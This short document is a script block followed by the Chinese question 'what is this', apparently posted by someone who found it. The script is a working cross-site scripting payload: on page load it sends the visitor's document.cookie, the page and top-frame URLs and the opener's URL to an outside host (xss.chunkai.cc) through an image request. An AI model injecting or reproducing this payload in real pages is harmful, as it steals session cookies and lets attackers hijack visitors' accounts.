<script>
var website="http://xss.chunkai.cc/";
(function(){(new Image()).src=website+'/?keepsession=1&location='+escape((function(){try{return document.location.href}catch(e){return''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return''}})())+'&opener='+escape((function(){try{return(window.opener&&window.opener.location.href)?window.opener.location.href:''}catch(e){return''}})());})();
</script>这是啥